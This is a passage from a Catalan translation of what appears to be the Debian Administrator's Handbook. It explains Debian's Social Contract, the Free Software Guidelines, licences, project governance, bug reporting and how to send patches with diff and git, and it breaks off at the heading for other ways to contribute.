El projecte té també un “contracte social”. Quin lloc ocupa un text d'aquesta mena en un projecte pensat només per al desenvolupament d'un sistema operatiu? És molt senzill: Debian treballa per als seus usuaris i, per extensió, per a la societat. Aquest contracte recull els compromisos a què el projecte es compromet. Estudiem-los amb més detall:

Debian romandrà lliure al 100%.

Aquesta és la Regla número 1. Debian és i romandrà conformat completa i exclusivament per programari lliure. Addicionalment, tot el programari desenvolupat dins el propi Debian serà lliure.

PERSPECTIVA Més enllà del programari

La primera versió del Contracte Social de Debian deia: “Debian romandrà al 100% com a Programari lliure”. La desaparició de la penúltima paraula (amb la ratificació de la versió 1.11 del contracte a l'abril del 2004) mostra el desig d'aconseguir la llibertat, no només en termes de programari, sinó en la documentació i en qualsevol altre element que Debian desitgi oferir amb el seu sistema operatiu.

Aquest canvi, que només va ser pensat com a editorial, ha tingut, en realitat, nombroses conseqüències, especialment amb l'eliminació d'alguna documentació problemàtica. A més, el creixent ús de firmware en els controladors planteja problemes: molts no són lliures, malgrat que són imprescindibles per al funcionament correcte del hardware corresponent.

Restituirem a la comunitat del programari lliure.

Qualsevol millor creada pel projecte Debian a un treball integrat a la distribució serà enviat a l'autor del treball («upstream» en anglès). En general, Debian cooperarà amb la comunitat abans que treballar aïlladament.

COMUNITAT Autor original («upstream») o desenvolupador Debian?

El terme “autor original” («upstream») es refereix als autors o desenvolupadors d'un programa, als que l'escriuen i el desenvolupen. Per altra banda, un “desenvolupador Debian” habitualment usa un programa ja existent per convertir-lo en un paquet Debian - el terme “mantenidor Debian” és més adequat aquí.

A la pràctica, hi pot haver encavalcaments entre ambdós rols: el manntenidor Debian pot escriure un retoc que beneficiarà a tots els usuaris del programa. En general, Debian anima a aquells qui es fan càrrec d'un paquet a Debian a involucrar-se en el desenvolupament amb l'autor original (per esdevenir, així, contribuïdors, sense quedar confinats en el rol de simples usuaris del programa). O el desenvolupador de Debian crea eines o documentació per a la distribució Debian, com ara ajudants d'empaquetament (p. ex. debhelper) o «frameworks» d'integració (p. ex. ca-certificates) i es converteix en un autor original d'aquestes creacions.

No amagarem els problemes.

Debian no és perfecte i, per tant, cada dia hi haurà nous problemes per solucionar. Debian tindrà en tot moment la base de dades d'informes d'error oberta amb accés públic. Els informes que els usuaris registrin seran de seguida visibles per tothom.

Les nostres prioritats són els nostres usuaris i el programari lliure.

Aquest compromís és més difícil de definir. Debian imposa, per tant, un biaix al moment de prendre una decisió, i descartarà una solució senzilla per als desenvolupadors que posi en risc l'experiència dels usuaris, prioritzant una solució més elegant malgrat que pugui ser més difícil d'implementar. Això implica tenir en compte, com a prioritat, els interessos dels usuaris i del programari lliure.

Treballs que no assoleixin els nostres estàndards de programari lliure.

Debian accepta i entén que els usuaris poden voler usar alguns programes que no són lliures. Aquest és el motiu pel qual el projecte permet l'ús de parts de la seva infraestructura per a distribuir paquets Debian de programari lliure que poden ser legalment redistribuïts.

COMUNITAT A favor o en contra de la secció no lliure («non-free»)?

El compromís de mantenir una estructura per allotjar el programari no lliure (és a dir, la secció «non-free», veieu el requadre VOCABULARI Els arxius main, contrib i non-free) és freqüentment motiu de debat en la comunitat Debian.

Els detractors argumenten que això allunya a la gent d 'equivalents fets en programari lliure, i que es contradiu amb el principi de només servir a la causa del programari lliure. Els defensors simplement diuen que la majoria del programari no lliure és «gairebé lliure», i que solen estan limitats per una o dues restriccions molestes (essent la més comuna la prohibició d'usar comercialment el programa). Al distribuir aquests programes a la branca no lliure, indirectament expliquem a l'autor que la seva creació seria més coneguda i més usada si pogués ser inclosa a la secció principal («main»). L'autor és, per tant, convidat amablement a canviar de llicència amb aquest propòsit.

Després d'un primer i infructuós intent al 2004, la completa eliminació de la secció no lliure és improbable que torni a l'agenda, especialment degut a què conté documents útils que s'hi van moure atès que no complien els nous requeriments de la secció «main». Això és justament el cas de certa documentació creada pel projecte GNU (Emacs i Make, en particular). Molts sistemes moderns també requereixen l'anomenat «firmware», petits arxius binaris que són necessaris per executar maquinari específic. Molts d'aquests fitxers només es poden trobar a la secció «non-free».

La continuada existència de la secció no lliure és, de tant en tant, font de friccions amb la Free Software Foundation, i és la raó bàsica per la qual aquesta refusa de recomanar Debian com a sistema operatiu.

1.2.2. Les Directrius sobre Programari Lliure de Debian

Aquest document de referència defineix quin programari és “prou lliure” per a ser inclòs a Debian. Si la llicència d'un programa està d'acord amb aquests principis, podrà ser inclòs a la secció principal; en cas contrari, i sempre que la redistribució estigui permesa, es podrà trobar a la secció no lliure. La secció no lliure no és oficialment part de Debian; és un servei afegit que s'ofereix als usuaris. Es pot trobar una explicació més detallada de les diferents parts de l'arxiu Debian a la barra lateral VOCABULARI Els arxius main, contrib i non-free.

Més que un criteri de selecció per a Debian, aquest text es va convertir en una autoritat en matèria de programari lliure i va servir de base per a "Definició de Codi Obert" («Open Source Definition»). Històricament és doncs una de les primeres definicions formals del concepte de «programari lliure».

Les llicències GNU General Public License, BSD License i Artistic License són exemples llicències lliures tradicionals que respecten els nou punts mencionats en aquest text. Tot seguit trobareu el text tal i com està publicat al lloc web de Debian.

→ https://www.debian.org/social_contract.html#guidelines

Redistribució lliure.  La llicència d'un component de Debian no pot restringir a un tercer el poder vendre o entregar el programa com a part d'una distribució agregada de programari que contingui programes de diverses fonts. La llicència no pot demanar el pagament d'un cànon o taxa per aquesta venda.

Codi font.  El programa ha d'incloure el codi font complet, i ha de permetre la distribució tant en forma de codi font com en forma compilada (binària).

Treballs derivats.  La llicència ha de permetre modificacions i treballs derivats, i ha de permetre que aquestes es puguin distribuir sota els mateixos termes de la llicència del programa original.

Integritat del codi font de l'autor.  La llicència pot restringir la distribució del codi font de manera modificada només si la llicència permet la distribució de «pedaços» («patch files») juntament amb el codi font amb el propòsit de modificar el programa a l'hora de compilar-lo. La llicència ha de permetre explícitament la distribució del programa a partir del codi font modificat. La llicència pot requerir els treballs derivats a portar un nom o un número de versió diferent del programa original (Això és un compromís. El grup Debian anima a tots els autors a no restringir cap arxiu, sigui font o binari, a ser modificat).

No discriminació contra persones o grups.  La llicència no ha de discriminar cap persona o grup de persones.

No discriminació en funció del camp d'aplicació.  La llicència no pot restringir a ningú l'ús del programa en funció del camp d'aplicació. Per exemple, no pot restringir l'ús del programa en una empresa o per a investigació genètica.

Distribució de la llicència.  Els drets associats al programa s'han d'aplicar a tothom a qui sigui redistribuït el programa, sense necessitat que calgui una llicència addicional per a aquests receptors.

La llicència no ha de ser específica per a Debian.  Els drets associats al programa no han de dependre de què el programa sigui part d'un sistema Debian. Si el programa és separat de Debian i usat o distribuït sense Debian, però mantenint-se dins de les condicions de la llicència, tots aquells a qui sigui redistribuït el programa han de tenir els mateixos drets que els que hi ha quan forma part de Debian.

La llicència no pot contaminar altres programes.  La llicència no pot imposar restriccions a altres programes que es distribueixin juntament al programa llicenciat. Per exemple, la llicència no pot insistir en què els altres programes distribuïts pel mateix mitjà hagin de ser programari lliure.

TORNAR A LES BASES «Copyleft»

El «copyleft» és un principi que consisteix en usar els drets d'autor («copyright» en anglès) per a garantir la llibertat d'una obra i els seus derivats, en lloc de restringir-ne els drets d'ús, com és el cas del programari propietari. És, també, un joc de paraules amb el terme «copyright». Richard Stallman va descobrir la idea quan un amic seu, aficionat als jocs de paraules, li va escriure en un sobre adreçat a ell: «copyleft: tots els drets capgirats»). El «copyleft» imposa una preservació de totes les llibertats inicials sobre la distribució versió original o modificada d'una obra (normalment un programa). No és, per tant, possible distribuir un programa com a programari propietari si aquest deriva de codi d'un programa publicat com a «copyleft».

La família més coneguda de llicències copyleft és, per descomptat, la GNU General Public License (GPL) i les seves derivades, la GNU Lesser General Public License (LGPL), i la GNU Free Documentation License (GFDL). Malauradament, les llicències copyleft són normalment incompatibles entre si. En conseqüència, és millor usar-ne només una.

Exemples de llicències.  Las llicències «GPL», «BSD» i «Artistic» són exemples de llicències que considerem «lliures».

TORNAR A LES BASES Llicències lliures

La llicència GPL de GNU, la llicència BSD i la Llicència Artística compleixen amb les Directrius sobre Programari Lliure de Debian, malgrat que són molt diferents entre si.

La llicència GPL de GNU, usada i promoguda per la FSF (Free Software Foundation), és la més comuna. La seva característica principal és que s'aplica també a qualsevol obra derivada que es redistribueixi: un programa que incorpora o usa codi GPL només pot ser distribuït d'acord amb els mateixos termes. Així doncs, prohibeix qualsevol ús en una aplicació propietària. Aquest fet imposa seriosos problemes per la reutilització de codi GPL en programari lliure incompatible amb aquesta llicència. Així, és de vegades impossible enllaçar un programa publicat sota una altra llicència de programari lliure amb una llibreria distribuïda sota la GPL. Per l'altra banda, és una llicència molt sòlida segons la llei estatunidenca: els advocats de la FSF van participar-ne en la redacció, i sovint a infractors els han forçat a arribar a acords amistosos sense haver d'anar a judici.

→ https://www.gnu.org/copyleft/gpl.html

La llicència BSD és la menys restrictiva: tot és permès, incloent l'ús de codi BSD modificat en una aplicació propietària.

→ https://www.opensource.org/licenses/bsd-license.php

Finalment, la Llicència Artística arriba a un compromís entre les dues altres: la integració de codi en una aplicació propietària és permesa, però qualsevol modificació ha de ser publicada.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

El text complet d'aquestes llicències es pot trobar a /usr/share/common-licenses/ de qualsevol sistema Debian (en cas de la més recent 3-Clause License de BSD).

COMUNITAT Bruce Perens, un líder polèmic

Bruce Perens fou el segon líder del projecte Debian, just després d'Ian Murdock. Va ser molt controvertit amb els seus mètodes autoritaris i dinàmics. Ell, malgrat tot, es manté com un contribuïdor important a Debian, a qui sens dubte Debian hi està en deute per l'edició de les famoses "Directrius sobre Programari Lliure de Debian" (DFSG), una idea original d'Ean Schuessler. Posteriorment, Bruce en va derivar la famosa "Definició del Programari Lliure", eliminant-ne totes les referències de Debian que contenia.

→ https://opensource.org/

La seva del sortida del projecte va fou força emocional, però Bruce ha estat sempre estretament lligat a Debian, ja que continua promocionant la distribució en àmbits polítics i econòmics. Encara apareix esporàdicament a les llistes de correu per oferir el seu consell i presentar les seves darreres iniciatives en favor de Debian.

Com a darrera anècdota, fou Bruce el responsable d'inspirar els diferents noms en codi ("codenames") per a les versions de Debian (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 — Bullseye, 12 (no publicada encara) — Bookworm, Unstable — Sid). Estan basats en els noms dels personatges de la pel·lícula Toy Story. Aquest film animat creat exclusivament amb gràfics fets per ordinador fou produïda per Pixar Studios, per qui Bruce treballava en aquells temps en què liderava el projecte Debian. El nom "Sid" té un estatus particular, ja que eternament serà associat amb la branca inestable. A la pel·lícula, aquest era el personatge del fill del veí que sempre trencava les joguines - així doncs vés amb compte de no apropar-te massa a inestable. D'altra banda, Sid és també un acrònim per "encara en desenvolupament" («Still In Development»).

1.3. El funcionament intern del projecte Debian

Els abundants resultats finals produïts pel projecte Debian deriven simultàniament del tasca en la infraestructura realitzada per desenvolupadors Debian experimentats, de la feina individual o col·lectiva dels desenvolupadors en els paquets Debian, i de la resposta dels usuaris.

1.3.1. Els desenvolupadors Debian

Els desenvolupadors Debian tenen diverses responsabilitats i, com a membres oficials del projecte, exerceixen una gran influència en la direcció que pren el projecte. Un desenvolupador Debian és, en general, responsable d'un paquet com a mínim, però d'acord amb el seu temps disponible i voluntat, és lliure d'involucrar-se en nombrosos equips i projectes, adquirint així més responsabilitats dins el projecte.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

EINABase de dades de desenvolupadors

Debian té una base de dades que inclou tots els desenvolupadors registrats al projecte amb informació rellevant d'ells (adreça, telèfon, coordenades geogràfiques com a longitud i la latitud, etc.). Part d'aquesta informació (nom i cognom, país, nom d'usuari usat al projecte, usuari d'IRC, clau GnuPG, etc.) és pública i està disponible a la web.

→ https://db.debian.org/

Les coordenades geogràfiques permeten la creació d'un mapa ubicant a tots els desenvolupadors al món. Debian és realment un projecte internacional: a tots els continents es poden trobar desenvolupadors seus, tot i que la majoria estan als "països occidentals".

Figura 1.1. Distribució mundial dels desenvolupadors de Debian

El manteniment de paquets és una activitat relativament pautada, molt documentada o fins i tot regulada. De fet, ha de complir amb tots els estàndards establerts per la Normativa Debian. Afortunadament, hi ha moltes eines que faciliten la tasca del mantenidor. El desenvolupador pot, així centrar-se en les especificitats del seu paquet i en tasques més complexes, com ara l'eliminació d'errors.

→ https://www.debian.org/doc/debian-policy/

TORNAR A LES BASESManteniments de paquets, la tasca del desenvolupador

El mantenir un paquet implica, primer, l'“empaquetar” un programari. Específicament, això significa definir els mitjans d'instal·lació de manera que, un cop instal·lat, el programari operarà i complirà les regles que el projecte Debian fixa per a si mateix. El resultat d'aquesta operació és desat en un arxiu .deb. La instal·lació efectiva del paquet llavors requerirà res més que l'extracció d'aquest arxiu comprimit i l'execució d'alguna mena d'scripts de preinstal·lació i postinstal·lació que també conté.

Passada aquesta fase inicial, el cicle real del manteniment comença: preparar les actualitzacions per a adaptar-se a la darrera versió de la Normativa Debian, corregir errors detectats pels usuaris, i incloure les noves versions del programa que, naturalment, continua essent desenvolupat de manera simultània. Per exemple, en el moment de l'empaquetat inicial, un programa estava a la versió 1.2.3. Passats alguns mesos de desenvolupament, els autors originals publiquen una nova versió estava, numerada 1.4.0. En aquest punt, el mantenidor del paquet Debian hauria d'actualitzar el paquet per tal que els usuaris puguin beneficiar-se de la més recent versió estable.

La Normativa, un element essencial del Projecte Debian, estableix les normes per assegurar tant la qualitat dels paquets com la perfecta interoperatibilitat de la distribució. Gràcies a aquesta Normativa, Debian roman consistent malgrat la seva mida gegantina. Aquest Normativa no està escrita en pedra, sinó que evoluciona contínuament gràcies a les propostes formulades a la llista de correu <debian-policy@lists.debian.org>. Les esmenes que són acordades per totes les parts interessades són acceptades i aplicades al text per un petit grup de mantenidors que no tenen responsabilitat editorial (ells només inclouen les modificacions acordades pels desenvolupadors Debian que són membres de l'abans citada llista. Pots llegir les propostes de modificació en curs al sistema de seguiment d'errors:

→ https://bugs.debian.org/debian-policy

COMUNITAT Procés editorial de la normativa

Tothom pot proposar una esmena a la Normativa Debian enviant un informe d'error amb un nivell de severitat de «wishlist» (desig) sobre el paquet debian-policy. El procés que en aquest moment s'activa està documentat a https://www.debian.org/doc/debian-policy/ap-process.html: si s'accepta que el problema ha de ser resolt creant una nova regla a la Normativa Debian, s'inicia una discussió a la llista <debian-policy@lists.debian.org> fins que s'arriba a un consens i a una proposta emesa. Algú llavors redacta un esborrany d'esmena de canvi i l'envia per a la seva aprovació (en forma de retoc per a revisar). Tant bon punt dos altres desenvolupadors aproven el fer que l'esmena proposada reflecteix el consens assolit en la discussió prèvia (ells secunden la proposta), la proposta pot ser ja inclosa al document oficial per part d'un dels mantenidors del paquet debian-policy. Si el procés falla en alguna d'aquestes etapes, els mantenidors tanquen l'error classificant la proposta com a rebutjada.

NORMATIVA DEBIAN La documentació

La documentació de cada paquet es desa a /usr/share/doc/paquet/. Aquest directori sovint conté un arxiu README.Debian on es descriuen els ajustos específics per a Debian fets pel mantenidor del paquet. És, per tant, recomanable llegir aquest arxiu abans de fer cap configuració per tal de beneficiar-se de la seva experiència. També trobem un arxiu changelog.Debian.gz descrivint els canvis fets d'una versió a una altra per part del mantenidor de Debian. Això no s'ha de confondre amb l'arxiu changelog.gz (o equivalent) que descriu els canvis realitzats pels desenvolupadors originals. L'arxiu copyright inclou informació sobre els autors i la llicència associada al programa. Finalment, potser també podrem trobar un arxiu anomenat NEWS.Debian.gz que permet al desenvolupador Debian comunicar informació important sobre les actualizacions; si apt-listchanges està instal·lat, llavors aquests missatges són mostrats automàticament. Tots els altres arxius són específics del programa en qüestió. Voldríem assenyalar especialment el subdirectori examples, que sovint conté exemples d'arxius de configuració.

La Normativa ofereix una considerable quantitat de detall dels aspectes tècnics de l'empaquetat. La mida del projecte també genera problemes organitzatius; aquests són tractats per la Constitució de Debian, que estableix una estructura i mitjans per a la presa de decicions. En altres paraules: un sistema formal de governança.

Aquesta constitució defineix un seguit de rols i càrrecs, a més de responsabilitats i atribucions de cadascun. És particularment important adonar-se que els desenvolupadors de Debian sempre tenen l'autoritat per prendre la darrera decisió votant en una resolució general, on una majoria qualificada de tres quarts (75%) dels vots és requerida per a fer alteracions significatives (com les que tinguin impacte en els Documents de la Fundació). Amb tot, els desenvolupadors cada any elegeixen un «líder» per representar-los en reunions, i assegurar la coordinació interna entre els diferents equips. Aquesta elecció és sempre un període de discussions intenses. El rol de líder del Projecte Debian (DPL) no és definit formalment per cap document: els candidats al lloc normalment proposen la pròpia definició del càrrec. A la pràctica, els rols del líder inclouen el ser el representant davant dels mitjans de comunicació, coordinar els equips “interns”, i oferir un guiatge general al projecte, amb el que els desenvolupadors poden adherir-s'hi: els punts de vista del DPL són aprovats implícitament per la majoria dels membres del projecte.

Específicament, el líder té autoritat real: el seu vot desfà empats, pot prendre qualsevol decisió que no estigui assignada a l'autoritat d'algú altre i pot delegar part de les seves responsabilitats.

Des de la creació, el projecte ha estat liderat successivament per Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman i Jonathan Carter.

La constitució també defineix un «comitè tècnic». El rol essencial d'aquest comitè és decidir sobre aspectes tècnics quan desenvolupadors no arriben a un acord entre ells. Altrament, aquest comitè pren un rol consultiu per a qualsevol desenvolupador que no pren una decisió per a la qual és responsable. És important fixar-se que només s'involucra quan és cridat a fer-ho per alguna de les parts en qüestió.

Finalment, la constitució defineix el càrrec de «secretario del proyecto», que està a càrrec de l'organització de les votacions relacionades amb les vàries eleccions i resolucions generals.

El procés de “resolució general” (GR o «general resolution» en anglès) està completament detallat a la constitució, des del període inicial de discussió fins al recompte final dels vots. L'aspecte més interessant del procés és a l'hora de votar: els desenvolupadors han d'ordenar les diferents opcions de vot entre elles, i el guanyador és triat amb el mètode Condorcet (més específicament, el mètode Schulze). Per a més detalls veieu:

→ https://www.debian.org/devel/constitution

CULTURA «Flamewar»: quan la discussió encén guspires

Un «flamewar» és una discussió massa apassionada que freqüentment acaba amb els involucrats atacant-se entre ells un cop s'han exhaurit tots els arguments en ambdós costats. Certs temes són més subjectes a polèmiques que d'altres (la tria d'un editor de text «prefereixes vi or emacs?» és un antic favorit). Aquests assumptes sovint provoquen un intercanvi ràpid de correus degut al gran nombre de persones que tenen opinió al respecte (tothom) i a la naturalesa molt particular d'aquestes qüestions.

Generalment no en surt res de particularment útil d'aquestes discussions; la recomanació general és apartar-se d'aquests debats, i potser llegir ràpidament i de perfil el seu contingut, ja que llegir-los amb atenció requeriria massa temps.

Tot i que la constitució estableix una semblança de democràcia, la realitat del dia a dia és molt diferent: Debian segueix de manera natural les regles del programari lliure de la «do-ocracia» (el govern dels que fan, «do» en anglès): aquell que fa les coses és qui decideix com fer-les. Molt temps es pot perdre debatent els respectius mèrits de les diferents maneres d'afrontar un problema: la solució triara serà la primera que sigui alhora funcional i satisfactòria... que sortirà del temps que una persona competent hi ha dedicat.

Aquesta és l'única manera de guanyar-se medalles: fes quelcom útil i ensenya que funciona bé. Molts equips «administratius» a Debian operen per cooptació, preferint voluntaris que ja han contribuït i demostrat la seva competència. La naturalesa pública de la feina d'aquesta equips fa possible als nous contribuïdors l'observar i començar a ajudar sense caler cap privilegi especial. És per això que Debian és sovint descrit com una «meritocràcia».

CULTURA Meritocràcia, el regnat del coneixement

Meritocràcia és una forma de govern en què l'autoritat és exercida per aquells amb més mèrits. A Debian, és el mèrit és una mesura de la competència que és, en si, avaluada per l'observació d'accions passades per un o més altres dins el projecte (Stefano Zacchiroli, un exlíder del projecte, parla de «do-ocracy» en el sentit del “poder per a aquells qui fan les coses”). La seva simple existència demostra un cert nivell de competència; els seus èxits són generalment programari lliure, amb el codi font disponible, que pot ser fàcilment revisat per d'altres per avaluar-ne la qualitat.

Aquesta manera d'operar és efectiva i garanteix la qualitat dels contribuïdors en els equips «clau» de Debian. Aquest mètode no és perfecte i ocasionalment hi ha qui no accepta aquesta manera de funcionar. La selecció dels desenvolupadors acceptats als equips pot semblar una mica arbitrària, o fins i tot injusta. I encara més: no tothom té la mateixa definició del servei esperat per aquests equips. Per alguns, és inacceptable haver d'esperar vuit dies per a la inclusió d'un nou paquet Debian, mentre que d'altres esperaran pacientment durant tres setmanes sense problema. Per això, hi ha queixes regularment per part dels descontents sobre la «qualitat de servei» d'alguns equips.

COMUNITAT Integració de nous desenvolupadors

L'equip encarregat d'admetre nous desenvolupadors és el criticat més sovint. Un ha de reconèixer que, amb el pas dels anys, el projecte Debian ha esdevingut més i més exigent amb els desenvolupadors que acceptarà. Alguns hi veuen certa injustícia, però hem de confessar que el que eren petits reptes al principi han esdevingut molt més grans en una comunitat de més de mil persones quan es tracta d'assegurar la qualitat i integritat de tot el que Debian produeix per als seus usuaris.

Finalment, el procés d'acceptació conclou amb la revisió de la candidatura per part d'un petit equip, els «Administradores de comptes de Debian» («DAM» n'és l'acrònim en anglès). Aquests administradors estan, per tant, exposats a la crítica ja que ells tenen la darrera paraula en l'acceptació o el rebuig d'un voluntari a la comunitat de desenvolupadors de Debian. A la pràctica, de vegades ells han de endarrerir l'acceptació d'una persona fins que aquesta ha après més sobre l'operativa del projecte. Un pot, és clar, contribuir a Debian abans de ser acceptat oficialment com a desenvolupador, si és recomanat per desenvolupadors actuals.

1.3.2. El paper actiu dels usuaris

Hom es pot preguntar si és rellevant mencionar els usuaris entre aquells que treballen dins del projecte Debian, però la resposta és clarament que sí: ells juguen un paper crític al projecte. Lluny de ser "passius", alguns usuaris usen versions de Debian en desenvolupament i regularment registren informes d'error per indicar problemes. Altres fins i tot van més enllà i envien idees per a millores mitjançant un registre d'error amb un nivell de criticitat de "wishlist", o fins i tot enviant correccions al codi font anomenades pedaços ("patches" en anglès) (veieu Secció 1.3.2.3, «Enviant correccions»).

1.3.2.1. Informant errors

L'eina fonamental per a l'enviament d'errors a Debian és el Debian Bug Tracking System (Debian BTS, sistema de seguiment d'errors de Debian), que és usat en molts àmbits del projecte. La part pública (la interfície web) permet als usuaris veure tots els errors registrats, amb l'opció de mostrar-los ordenadament i filtrats segons diferents criteris, com ara el paquet afectat, la severitat, l'estat, l'adreça del reportador, l'adreça del mantenidor encarregat, etiqueta, etc. També és possible veure el llistat històric de totes les discussions associades a cadascun dels errors.

Sota la superfície, el BTS de Debian és basat en el email: tota la informació que es desa ve de missatges enviats per les diferents persones involucrades. Qualsevol correu enviat a <12345@bugs.debian.org> serà, així, associat a la història de l'error amb número 12345. Les persones autoritzades poden «tancar» un error escrivint un missatge que descrigui la motivació per tancar-lo a <12345-done@bugs.debian.org> (un error es tanca quan el problema indicat queda resolt o deixa de ser rellevant). Es pot reportar un error nou enviant un missatge a <submit@bugs.debian.org> d'acord amb el format específic que identifica el paquet afectat. L'adreça <control@bugs.debian.org> permet l'edició de tota la «metainformació» relacionada amb l'error.

El BTS de Debian té altres característiques funcionals, com ara l'ús d'etiquetes per associar als errors. Per a més informació, mira

→ https://www.debian.org/Bugs/

VOCABULARI Severitat d'un error

La severitat d'un error assigna formalment un grau de gravetat al problema reportat. Efectivament, no tots els error tenen la mateixa importància: per exemple, un error tipogràfic en una plana de manual no és comparable a una vulnerabilitat de seguretat en un programari de servidor.

Debian usa una escala estesa per descriure la severitat d'un error. Cada nivell és definit amb precisió per tal de facilitar-ne la selecció.

→ https://www.debian.org/Bugs/Developer#severities

Els usuaris també poden usar la línia de comandes per enviar informes d'error en un paquet Debian amb l'eina reportbug. Aquesta ajuda en assegurar-se que l'error no hagi estat prèviament informat, evitant així la redundància al sistema. Recorda a l'usuari les definicions dels nivells de severitat, per tal que l'informe sigui el més acurat possible (el desenvolupador podrà sempre afinar aquest paràmetre si fos necessari). Ajuda a escriure un informe complet de l'error, sense que l'usuari hagi de conèixer la sintaxi precisa, redactant-lo i permetent a l'usuari modificar-lo. Aquest report serà enviat a través d'un servidor de correu (per defecte serà un de remot operat per Debian, però reportbug pot usar també un servidor local).

Aquesta eina primer es focalitza en les versions de desenvolupament, que és on els errors seran resolts. En efecte, els canvis no són benvinguts en una versió estable de Debian, amb molt poques excepcions en cas d'actualitzacions de seguretat o d'importància (si, per exemple, un paquet no funcionés en absolut). Una correcció d'un error menor en un paquet Debian ha de, per tant, esperar a la següent versió estable.

1.3.2.2. Traducció i documentació

Addicionalment, nombrosos usuaris satisfets dels serveis oferts per Debian volen contribuir el seu granet de sorra al projecte. Així com no tothom té els nivell apropiat d'experiència en programació, poden triar en col·laborar en la traducció i la revisió de la documentació. Hi llistes de correu específiques per a idiomes per a coordinar aquesta feina.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

TORNAR A LES BASES Què són «i18n» i «l10n»?

«i18n» i «l10n» són abreviacions de les paraules «internacionalització» i «localització» respectivament, preservant les lletres inicial i final de cada mot, i el número de lletres del mig.

«Internacionalitzar» un programa consisteix en modificar-lo de manera que pugui ser traduït («localitzat»). Això implica reescriure parcialment el programa, inicialment escrit per a treballar en un llenguatge, per tal de poder-lo obrir a tots els idiomes.

«Localitzar» un programa consisteix en traduir els missatges originals (sovint en anglès) a un altre idioma. Per a això, ha d'haver estat prèviament internacionalitzat.

En resum, la internacionalització prepara el programa per a ser traduït, que serà després dut a terme per la localització.

1.3.2.3. Enviant correccions

Els usuaris més avançats seran capaços de proporcionar una correcció per a un programa enviant un pedaç.

Un pedaç ("patch" en anglès) és un arxiu que descriu els canvis que cal fer a un o més altres arxius de referència. Específicament, contindrà una llista de línies per a ser eliminades o bé afegides al codi, així com, de vegades, línies agafades del text de referència, amb les modificacions en el context (permeten identificar la ubicació dels canvis si els números de línia haguessin canviat).

L'eina usada per aplicar les modificacions en un arxiu és simplement anomenada patch. L'eina que les crea es diu diff, i s'usa d'aquesta manera:

$ diff -u arxiu.antic arxiu.nou >arxiu.pedaç

L'arxiu arxiu.pedaç conté les instruccions per canviar el contingut d'arxiu.antic a arxiu.nou. Podem enviar-lo a algú que podrà llavors usar-lo per a generar arxiu.nou a partir dels altres dos així:

$ patch -p0 arxiu.antic <arxiu.pedaç

L'arxiu arxiu.antic serà ara idèntic a arxiu.nou.

A la pràctica, la majoria del programari és actualment mantingut el repositoris Git i d'aquesta manera els contribuïdors és més probable que usin la comanda git per obtenir el codi font i proposar canvis. L'ordre git diff generarà un arxiu en el mateix format que crea diff -u i git apply pot fer el mateix que la comanda patch.

CULTURA Git

Git és una eina per al treball col·laboratiu en múltiples arxius, al temps que manté un històric de les modificacions. Els arxius en qüestió són generalment de text, com ara el codi font d'un programa. Si diverses persones treballen juntes en el mateix arxiu, git només pot fusionar les modificacions fetes si afecten diferents porcions de l'arxiu. Altrament, aquests «conflictes» s'han de resoldre a mà.

Git és un sistema distribuït on cada usuari té un repositori amb l'històric complet dels canvis. Els repositoris centrals s'usen per a descarregar el projecte (git clone) i per compartir la feina feta amb d'altres (git push). El repositori pot tenir múltiples versions dels arxius però, en un moment donat, només es pot treballar en una sola versió: és el que s'anomena la còpia de treball (es pot canviar per apuntar a una altra versió amb git checkout). El Git pot mostrar-te les modificacions fetes a la còpia de treball (git diff), pot seleccionar els canvis que es volen incloure (git add), i pot crear una nova entrada a l'històric de versions (git commit). També pot actualitzar la còpia de treball amb les modificacions fetes en paral·lel per altres usuaris (git pull), i pot registrar una configuració particular a l'històric per tal de poder fàcilment usar-la en un futur (git tag).

El Git fa senzill el gestionar múltiples versions concurrents d'un projecte en desenvolupament sense que s'interfereixin entre si. Aquestes versions s'anomenen branques. Aquesta metàfora d'un arbre és força encertada, ja que un programa és inicialment desenvolupat en un tronc comú. Quan una fita s'assoleix (com podria ser la versió 1.0), el desenvolupament continua en dues branques: la branca de desenvolupament prepara la nova versió, i la branca de manteniment gestiona les actualitzacions i correccions per a la versió 1.0.

El Git és, avui en dia, el sistema de control de versions més popular, tot i que no és l'únic. Històricament, el CVS (de «Concurrent Versions System», sistema de versions concurrents) fou el primer que es va popularitzar però les seves nombroses limitacions van contribuir a l'aparició de alternatives lliures més modernes. Aquestes incloïen, especialment, Subversion (svn), Git (git), Bazaar (bzr) Fossil (fossil), i Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Queda fora de l'abast d'aquest llibre el proporcionar una explicació detallada sobre Git. Per a això, podeu consultar el llibre Pro Git book.

→ https://git-scm.com/book/

Mentre que el resultat de git diff és un arxiu que pot ser compartit amb altres desenvolupadors, normalment hi ha millors maneres d'enviar canvis. Si els desenvolupadors prefereixen rebre els pedaços via correu electrònic, normalment els prefereixen generats amb git format-patch de manera que poden ser directament integrats al repositori amb git am. Això preserva les metainformació dels «commits» i fa possible el compartir-ne múltiples d'un sol cop.

Aquesta manera de treballar basada en correu electrònic encara és popular però tendeix a ser reemplaçat per l'ús de merge requests (o pull requests) quan el programa està hostatjat en una plataforma com ara GitHub o GitLab — i Debian usa Gitlab al seu servidor salsa.debian.org. En aquests sistemes, un cop hi has creat un compte, tu fas un fork del repositori creant una còpia efectiva del repositori al teu propi compte, i llavors pots clonar el repositori i aplicar-hi els teus propis canvis. A partir d'aquí, la interfície web et suggerirà d'enviar una petició d'unió ("merge request"), avisant als programadors originals dels teus canvis i facilitant-los la feina de revisar-los i acceptar-los amb un sol clic.

1.3.2.4. Altres maneres de contribuir

